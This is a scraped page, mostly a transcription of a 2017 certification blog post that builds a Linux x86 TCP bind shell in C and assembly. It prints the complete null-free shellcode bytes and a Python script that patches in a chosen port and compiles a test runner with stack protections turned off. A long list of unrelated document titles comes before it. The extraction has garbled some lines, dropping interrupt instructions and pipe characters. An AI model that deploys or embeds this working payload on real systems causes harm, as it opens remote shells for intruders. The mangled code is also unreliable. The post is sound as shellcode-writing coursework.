Linux TCP Bind Shell from Scratch with Intel x86 Assembly

Similar documents
Web Application Hacking Exploitation Development 104. CIS 5930/4930 Offensive Security Spring 2013

This is an example C code used to try out our codes, there several ways to write this but they works out all the same.

Università Ca Foscari Venezia

CNIT 127: Exploit Development. Ch 3: Shellcode. Updated

Developing StrongARM/Linux shellcode

CSC 405 Computer Security Shellcode

A Socket Example. Haris Andrianakis & Angelos Stavrou George Mason University

Shellcode. Compass Security Schweiz AG Werkstrasse 20 Postfach 2038 CH-8645 Jona. Tel Fax

CSC209H Lecture 9. Dan Zingaro. March 11, 2015

The BSD UNIX Socket Interface (CS 640 Lecture) Assignment 1. Interprocess Communication (IPC) Work Individually (no groups)

Sockets. Dong-kun Shin Embedded Software Laboratory Sungkyunkwan University Embedded Software Lab.

Sandwiches for everyone

Unix Network Programming

Hyo-bong Son Computer Systems Laboratory Sungkyunkwan University

ECE 435 Network Engineering Lecture 2

Socket Programming TCP UDP

CS321: Computer Networks Socket Programming

Socket Programming. CSIS0234A Computer and Communication Networks. Socket Programming in C

Sockets. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

Programming with TCP/IP. Ram Dantu

ECE 435 Network Engineering Lecture 2

Computer Architecture and Assembly Language. Practical Session 5

Tutorial on Socket Programming

Network Programming in C. Networked Systems 3 Laboratory Sessions and Problem Sets

Network Programming in C: The Berkeley Sockets API. Networked Systems 3 Laboratory Sessions

CS 499 Lab 3: Disassembly of slammer.bin I. PURPOSE

Shell Code For Beginners

The Geometry of Innocent Flesh on the Bone

PA #2 Reviews. set_name, get_name, del_name. Questions? Will be modified after PA #4 ~

Client-server model The course that gives CMU its Zip! Network programming Nov 27, Using ports to identify services.

Is stack overflow still a problem?

System calls and assembler

CLIENT-SIDE PROGRAMMING

Application Programming Interfaces

CSE 333 SECTION 8. Sockets, Network Programming

Buffer overflow is still one of the most common vulnerabilities being discovered and exploited in commodity software.

Network Programming Worksheet 2. Simple TCP Clients and Servers on *nix with C.

NETWORK PROGRAMMING. Instructor: Junaid Tariq, Lecturer, Department of Computer Science

The Berkeley Sockets API. Networked Systems Architecture 3 Lecture 4

SOEN228, Winter Revision 1.2 Date: October 25,

CS307 Operating Systems Processes

Processes. Process Concept. The Process. The Process (Cont.) Process Control Block (PCB) Process State

Socket Programming. Dr. -Ing. Abdalkarim Awad. Informatik 7 Rechnernetze und Kommunikationssysteme

Shellcoding 101. by datagram LayerOne char shellcode[]=

TCP: Three-way handshake

Lecture 7. Followup. Review. Communication Interface. Socket Communication. Client-Server Model. Socket Programming January 28, 2005

Practical Malware Analysis

CS118 Discussion 1B, Week 1. Taqi Raza BUNCHE 1209B, Fridays 12:00pm to 1:50pm

Project 3. Reliable Data Transfer over UDP. NTU CSIE Computer Networks 2011 Spring

CS321: Computer Networks Introduction to Application Layer

CSE 333 SECTION 7. Client-Side Network Programming

CPS104 Recitation: Assembly Programming

15-213/ Final Exam Notes Sheet Spring 2013!

Sockets. Dong-kun Shin Embedded Software Laboratory Sungkyunkwan University Embedded Software Lab.

Elementary TCP Sockets

Ports under 1024 are often considered special, and usually require special OS privileges to use.

Reverse Engineering II: Basics. Gergely Erdélyi Senior Antivirus Researcher

CSE 333 SECTION 7. C++ Virtual Functions and Client-Side Network Programming

Reverse Engineering II: The Basics

ICT 6544 Distributed Systems Lecture 5

CSE 333 Lecture 16 - network programming intro

A Client-Server Exchange

sottotitolo Socket Programming Milano, XX mese 20XX A.A. 2016/17 Federico Reghenzani

How to write a Measurement Telnet Server

3. Process Management in xv6

CSE 124 Discussion Section Sockets Programming 10/10/17

CS 640: Computer Networking

Defending Computer Networks Lecture 2: Vulnerabili0es. Stuart Staniford Adjunct Professor of Computer Science

Defending Computer Networks Lecture 2: Vulnerabili0es. Stuart Staniford Adjunct Professor of Computer Science

CS 3516: Computer Networks

X86 Addressing Modes Chapter 3" Review: Instructions to Recognize"

Program Exploitation Intro

Buffer Overflow Vulnerability

l27 handout.txt buggy server.c Printed by Michael Walfish Apr 29, 10 13:41 Page 1/1 Apr 29, 10 11:51 Page 1/1

Piotr Mielecki Ph. D.

Biography. Background

CSE 333 Lecture network programming intro

Machine Language, Assemblers and Linkers"

UNIX Network Programming. Overview of Socket API Network Programming Basics

Sockets 15H2. Inshik Song

Lecture 04 Control Flow II. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Based on Michael Bailey s ECE 422

Oral. Total. Dated Sign (2) (5) (3) (2)

Return Oriented Programming

System Programming. Sockets

Return oriented programming

ALT-Assembly Language Tutorial

CSE 333 SECTION 6. Networking and sockets

Network Programming November 3, 2008

Socket Programming for TCP and UDP

Context. Distributed Systems: Sockets Programming. Alberto Bosio, Associate Professor UM Microelectronic Departement

Reverse Engineering II: The Basics

9/13/2007. Motivations for Sockets What s in a Socket? Working g with Sockets Concurrent Network Applications Software Engineering for Project 1

Introduction to Socket Programming

WinSock. What Is Sockets What Is Windows Sockets What Are Its Benefits Architecture of Windows Sockets Network Application Mechanics

Types (Protocols) Associated functions Styles We will look at using sockets in C Java sockets are conceptually quite similar

Buffer Overflow Vulnerability Lab Due: September 06, 2018, Thursday (Noon) Submit your lab report through to

Introduction to Socket Programming

CS 43: Computer Networks. 05: Socket Programming September 12-14, 2018

Lab 0. Yvan Petillot. Networks - Lab 0 1

l27 handout.txt buggy server.c Printed by Michael Walfish Apr 28, 11 15:24 Page 1/1 Apr 27, 11 1:53 Page 1/2

Transcription:

Linux TCP Bind Shell from Scratch with Intel x86 Assembly Amonsec https://amonsec.com Jun 13, 2017 (V 1.0) 1 1 7

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assemblyexpert/ Student ID: SLAE-975 Assignment number: #1 Github repository: https://github.com/amonsec/slae/tree/master/assignment-1 Table of Contents What is a TCP bind shell?...3 Syscalls & socket functions...5 From C to Assembly...7 Create a socket... 7 Bind our socket... 8 Listening... 9 Accept an incoming connection... 9 Duplicate our File Descriptor... 10 Execute the shell... 11 Assembling pieces... 13 Optimization... 15 2 1 7

Introduction The aim of this post is to create from scratch a Linux TCP bind shell with Intel x86 Assembly instead of using Metasploit. It s always a good thing to create his own shellcode because: You know what you are using You have a small custom shellcode It s fun What you need in order to reproduce the process: A Linux x86 system (Kali Linux in my case) Your brain (and maybe a cup a coffee or eight) What is a TCP bind shell? A TCP bind shell is a program that acts like server on a local port, waiting a connection from someone and when someone connect to this local port return a shell. The following C code is an example of a TCP bind shell: #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <stdio.h> int main(void) { int clientfd; int sockfd; int port = 31337; struct sockaddr_in addr; sockfd = socket(af_inet, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; bind(sockfd, (struct sockaddr *) &addr, sizeof(addr)); listen(sockfd, 1); clientfd = accept(sockfd, NULL, NULL); dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2); } execve("/bin/sh", NULL, NULL); return 0; 3 1 7

It s a bit esoteric for you? Let me explain you what this code does. First we create a socket, here called sockfd: sockfd = socket(af_inet, SOCK_STREAM, 0); Then, we initialize our socket in order to bind it later: addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; After that, we bind your socket with the desired port, here 31337: bind(sockfd, (struct sockaddr *) &addr, sizeof(addr)); At this point, we can both listen for an incoming connection and accept the incoming connection. Note, due to the NULL s we don t store data: listen(sockfd, 0); clientfd = accept(sockfd, NULL, NULL); All we need to do now is to duplicate our file descriptor for stdin (0), stdout (1) and stderr (2): dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2); Finally, we can execute the /bin/sh command: execve("/bin/sh", NULL, NULL); Let s compile and see if this code works: 4 1 7

Sweet Syscalls & socket functions A system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on. This may include hardware-related services (for example, accessing a hard disk drive), creation and execution of new processes, and communication with integral kernel services such as process scheduling. According to the Linux Man page: The system call is the fundamental interface between an application and the Linux kernel. So, which syscalls we need to use in order to create our bind shell? This following command can give us the answer and the location where syscalls are referenced: amonsec@anakin:/$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h grep -E 'socketcall dup2 execve' head -3 #define NR_execve 11 #define NR_dup2 63 #define NR_socketcall 102 amonsec@anakin:/$ Note, we can use this awesome website to find syscall, and much more: http://syscalls.kernelgrok.com/ Now, we need to find ids of the functions that we want to use with our socket. For that, the Linux NET s header can help us. According to the documentation: NET is an implementation of the SOCKET network access protocol. This is the master header file for the Linux NET layer, or, in plain English: the networking handling part of the kernel. To find functions ids that we want to use we can use this following command: 5 1 7

amonsec@anakin:~$ cat /usr/include/linux/net.h [..snip..] #define SYS_SOCKET 1 #define SYS_BIND 2 #define SYS_CONNECT 3 #define SYS_LISTEN 4 #define SYS_ACCEPT 5 #define SYS_GETSOCKNAME 6 #define SYS_GETPEERNAME 7 #define SYS_SOCKETPAIR 8 #define SYS_SEND 9 #define SYS_RECV 10 #define SYS_SENDTO 11 #define SYS_RECVFROM 12 #define SYS_SHUTDOWN 13 #define SYS_SETSOCKOPT 14 #define SYS_GETSOCKOPT 15 #define SYS_SENDMSG 16 #define SYS_RECVMSG 17 #define SYS_ACCEPT4 18 #define SYS_RECVMMSG 19 #define SYS_SENDMMSG 20 [..snip..] Moreover, we need few other things such as, the id of the socket type that we want to use: amonsec@anakin:~$ cat /usr/include/i386-linux-gnu/bits/socket_type.h grep 'SOCK_STREAM' SOCK_STREAM = 1, /* Sequenced, reliable, connection-based #define SOCK_STREAM SOCK_STREAM amonsec@anakin:~$ And the id of the protocol family that we are going to use: amonsec@anakin:~$ cat /usr/include/i386-linux-gnu/bits/socket.h grep 'PF_INET' grep -v 6 #define PF_INET 2 /* IP protocol family. */ #define AF_INET PF_INET amonsec@anakin:~$ We have everything we need! Now let s begin the sorcery! 6 1 7

From C to Assembly Create a socket In our context, the EBX register contain the id of the socket function that we want to use and here is 1, for the SOCKET function. Moreover, the id of the socket type is 1 (SOCK_STREAM) and the id of the socket that we want to use is 2 (AF_INET). This following code is used to create our socket: global _start section.text _start: ; Create our socket ; socket(af_inet, SOCK_STREAM, 0) ; xor ebx, ebx ; zeroed EBX mov bl, 0x01 ; #define SYS_SOCKET 1 xor edx, edx xor ecx, ecx ; zeroed EDX ; zeroed ECX ; 0 push ebx ; SOSCK_STREAM push byte 0x02 ; AF_INET = 2 mov ecx, esp ; arguments xor eax, eax ; zeroed EAX mov al, 0x66 ; #define NR_socketcall 102 ; Interrupt xchg esi, eax ; Save addr Note, after the kernel interrupt handler call () we must store the EAX register because he contains our socket file descriptor and we are going to use it later. Schema: 7 1 7

Bind our socket Now we have a socket and we can bind it. For that, we first need to create our sokcaddr pointer and it looks like this in C: struct sockaddr_in { short sin_family; // e.g. AF_INET, AF_INET6 unsigned short sin_port; // e.g. htons(3490) struct in_addr sin_addr; // see struct in_addr, below }; With that and the id of this bind socket function, we are good to go. Note, the port that we want to bind is in big indian format. ; Bind our socket ; addr.sin_family = AF_INET; ; addr.sin_port = htons(port); ; addr.sin_addr.s_addr = INADDR_ANY; ; bind(sockfd, (struct sockaddr *) &addr, sizeof(addr)); ; inc ebx ; #define SYS_BIND 2 ; INADDR_ANY push word 0x697A ; Port in big-indian = 31337 push bx ; AF_INET mov ecx, esp ; ECX = sockaddr point push byte 0x10 ; sizeof(addr) push ecx ; sockaddr push esi ; sockfd mov ecx, esp ; arguments mov al, 0x66 ; #define NR_socketcall 102 ; Interrupt Schema: 8 1 7

Listening Next step is to say to our socket to listening for an incoming connection. ; Listen ; listen(sockfd, 0); ; ; 0 inc ebx ; EBX = EBX + 1 inc ebx ; EBX = EBX + 1 push ebx ; #define SYS_LISTEN 4 push esi ; sockfd mov ecx, esp ; arguments mov al, 0x66 ; #define NR_socketcall 102 ; Interrupt Schema: Accept an incoming connection Ok, we have a socket, we bind it and he is listening for an incoming connection, now we can recreate the accept function in order to allow a connection. ; Accept ; accept(sockfd, NULL, NULL) inc ebx ; #define SYS_ACCEPT 5 push esi mov ecx, esp ; NULL ; NULL ; sockfd ; arguments mov al, 0x66 ; #define NR_socketcall 102 ; Interrupt xchg ebx, eax ; Save clientfd 9 1 7

Duplicate our File Descriptor We are soon at the end! At this point we need to duplicate three times our file descriptor in order to have STDIN (0) and STDOUT (1) and STDERR (2). For that we have two possibilities, create or loop or not. The loop version: ; Dup2 ; dup2(clientfd, 0) ; dup2(clientfd, 1) ; dup2(clientfd, 2) xor ecx, ecx ; zeroed ECX dup: mov al, 0x3f ; #define NR_dup2 63 ; Interrupt inc ecx ; ECX = ECX + 1 cmp ecx, 0x3 ; Compare ECX and 3 jne dup ; Jump if not equal The basic version: xor ecx, ecx ; zeroed ECX mov al, 0x3f ; #define NR_dup2 63 ; Interrupt inc ecx ; ECX = ECX + 1 mov al, 0x3f ; #define NR_dup2 63 ; Interrupt inc ecx ; ECX = ECX + 1 mov al, 0x3f ; #define NR_dup2 63 ; Interrupt 10 1 7

Schema: Execute the shell Our last step! Now we only need to execute a shell, in our case /bin/sh. The structure of the execve function look like this: int execve( const char *filename, char *const argv[], char *const envp[] ); The EBX register need to contain the binary to execute, /bin/sh in our case and ECX and EDX are not use, so, they must be null. Let s translate this C code into assembler: ; Execve ; execve("/bin/sh", NULL, NULL) ; ; Null terminator push 0x68732f2f ; hs// push 0x6e69622f ; nib/ mov ebx, esp mov ecx, edx ; /bin//sh ; NULL mov al, 0x0b ; #define NR_execve 11 ; Down :) 11 1 7

Schema: Note, the null-terminator is used to end the string and to be sure to don t have any other unwanted things in it. Moreover, we must push words in the stack, that s why we push /bin//sh instead of /bin/sh and because the stack is LIFO, we push it in the opposite way. If you want to create opcode from a string you can use one of my python script here: string2opcode.py 12 1 7

Assembling pieces global _start section.text _start: ; Create our socket ; socket(af_inet, SOCK_STREAM, 0) ; xor ebx, ebx mov bl, 0x01 xor edx, edx xor ecx, ecx push ebx push byte 0x02 mov ecx, esp xor eax, eax mov al, 0x66 xchg esi, eax ; Bind our socket ; addr.sin_family = AF_INET; ; addr.sin_port = htons(port); ; addr.sin_addr.s_addr = INADDR_ANY; ; bind(sockfd, (struct sockaddr *) &addr, sizeof(addr)); ; inc ebx push word 0x697A push bx mov ecx, esp push byte 0x10 push ecx push esi mov ecx, esp mov al, 0x66 ; Listen ; listen(sockfd, 0); ; inc ebx inc ebx push ebx push esi mov ecx, esp mov al, 0x66 ; Accept ; accept(sockfd, NULL, NULL) inc ebx push esi mov ecx, esp 13 1 7

mov al, 0x66 xchg ebx, eax ; Dup2 ; dup2(clientfd, 0) ; dup2(clientfd, 1) ; dup2(clientfd, 2) xor ecx, ecx dup: mov al, 0x3f inc ecx cmp ecx, 0x3 jne dup ; Execve ; execve("/bin/sh", NULL, NULL) ; push 0x68732f2f push 0x6e69622f mov ebx, esp mov ecx, edx mov al, 0x0b Let s compile this code and see if it works. amonsec@anakin:/opt/slae/assignment-1$ nasm -felf32 bind_shell_linux_x86.asm amonsec@anakin:/opt/slae/assignment-1$ ld -melf_i386 bind_shell_linux_x86.o -o bind And it works! 14 1 7

Optimization Now, we want to create a simple python script to create a binary with the desired port. First, we need to extract the shellcode: amonsec@anakin:/opt/slae/assignment-1$ objdump -d./bind grep '[0-9a-f]:' grep -v 'file' cut -f2 -d: cut -f1-6 -d' ' tr -s ' ' tr '\t' ' ' sed 's/ $//g' sed 's/ /\\x/g' paste -d '' -s sed 's/^/"/' sed 's/$/"/g' "\x31\xdb\xb3\x01\x31\xd2\x31\xc9\x52\x53\x6a\x02\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x96\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6 a\x10\x51\x56\x89\xe1\xb0\x66\xcd\x80\x52\x43\x43\x53\x56\x89\xe1\xb0\x66\xcd\x80\x43\x52\x52\x56\x89\xe1\xb0\x66\xcd\x80\x93\x3 1\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80" amonsec@anakin:/opt$ With the shellcode (without null byte) let s begin our python script: #!/usr/bin/env python import sys import re import os # Colorz RED = "\x1b[1;31m" BLU = "\x1b[1;34m" GRE = "\x1b[1;32m" RST = "\x1b[0;0;0m" # Lambda info_message = lambda x: '{}[*]{} {}'.format(blu, RST, x) suce_message = lambda x: '{}[+]{} {}'.format(gre, RST, x) erro_message = lambda x: '{}[-]{} {}'.format(red, RST, x) # Core print info_message('linux x86 TCP bind shell (v1.0)') print info_message('author {}Amonsec{}\n'.format(RED, RST)) if len(sys.argv) < 2: print info_message('usage: python {} <local port>'.format(sys.argv[0])) sys.exit(0) port = int(sys.argv[1]) if port < 1 or port > 65535 : print erro_message('you\'re drunk. Go home. Go home') sys.exit(0) if len(hex(port).split('x')[1]) < 4: port = '0' + hex(port).split('x')[1] else: port = hex(port).split('x')[1] hexchain = '' for x in re.findall('..', port): if x == '00': print erro_message('null byte detected') sys.exit(0) hexchain += '\\x' + x print suce_message('hexchain port: {}'.format(hexchain)) 15 1 7

shellcode = ( "\\x31\\xdb\\xb3\\x01\\x31\\xd2\\x31\\xc9\\x52\\x53\\x6a" "\\x02\\x89\\xe1\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x96\\x43" "\\x52\\x66\\x68" + hexchain + "\\x66\\x53\\x89\\xe1\\x6a\\x10" "\\x51\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x52\\x43\\x43" "\\x53\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x43\\x52\\x52" "\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x93\\x31\\xc9\\xb0" "\\x3f\\xcd\\x80\\x41\\x83\\xf9\\x03\\x75\\xf6\\x52\\x68" "\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" "\\x89\\xd1\\xb0\\x0b\\xcd\\x80") print suce_message('your shellcode:\n') print shellcode.format('hex') print '' print info_message('creating the C file...') filename = 'bind_shell_linux_x86.c' content = '' content += '#include <stdio.h>\n' content += '#include <string.h>\n' content += 'unsigned char shellcode[] = \\ \n' content += '"' + shellcode + '";\n' content += 'int main() {\n' content += 'int (*ret)() = (int(*)())shellcode;\n' content += 'ret();\n' content += '}\n' data = open(filename, 'w') data.write(content) data.close() print suce_message('c file successfully created.') print info_message('compiling the C file...') try: os.system('gcc -fno-stack-protector -z execstack bind_shell_linux_x86.c -o bind_shell_linux_x86') except Exception: print erro_message('error with the compilation') sys.exit(1) print suce_message('c file successfully compiled.') print suce_message('you are good to go 1337') print '' sys.exit(0) 16 1 7

Amonsec 17 1 7